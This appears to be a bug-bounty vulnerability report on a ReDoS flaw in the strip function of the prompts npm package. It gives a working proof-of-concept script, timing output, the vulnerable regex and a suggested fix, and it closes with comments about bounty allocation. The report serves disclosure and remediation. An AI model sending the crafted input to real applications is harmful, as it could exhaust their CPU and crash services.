Inefficient Regular Expression Complexity in terkelg/prompts
Reported on
Sep 11th 2021
✍️ Description
The prompts
package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted input to the strip functionality may cause an application to consume an excessive amount of CPU.
Below pinned line using vulnerable regex. The ReDOS is mainly due to the sub-patterns [[\\]()#;?]*
and (?:;[a-zA-Z\\d]*)*
🕵️♂️ Proof of Concept
Create the following poc.js file
const strip = require('prompts/lib/util/strip.js');
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
strip(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Execute the following in a terminal:
npm i prompts
node poc.js
Check the Output:
attack_str.length: 10002: 550 ms
attack_str.length: 20002: 2046 ms
attack_str.length: 30002: 4611 ms
attack_str.length: 40002: 9041 ms
attack_str.length: 50002: 13491 ms
attack_str.length: 60002: 18456 ms
attack_str.length: 70002: 24667 ms
attack_str.length: 80002: 55819 ms
attack_str.length: 90002: 49943 ms
attack_str.length: 100002: 54903 ms
attack_str.length: 110002: 64947 ms
attack_str.length: 120002: 78060 ms
attack_str.length: 130002: 90194 ms
attack_str.length: 140002: 106361 ms
attack_str.length: 150002: 114040 ms
attack_str.length: 160002: 131164 ms
💥 Impact
This vulnerability is capable of exhausting system resources and leads to crashes. Ideally, it should take 0-10 milliseconds.
Remediation
Patch regex should be something like which will validate in 0-10 milliseconds.
'[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)*|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)',
📍 Location strip.js#L5
Occurrences
SECURITY.md
2 years ago
@maintainer huntr will provide the bounty, no need to provide bounty from your side. So you can select bounty.
@admin tekel got confused with huntr bounty allocation. Can you please add a bounty to this and better to raise a ticket for this(To avoid confusion in future). Thank you.
In maintainers personal message to me
I’m so sorry. That was not clear from the UI. I’m unsure how to undo it at this point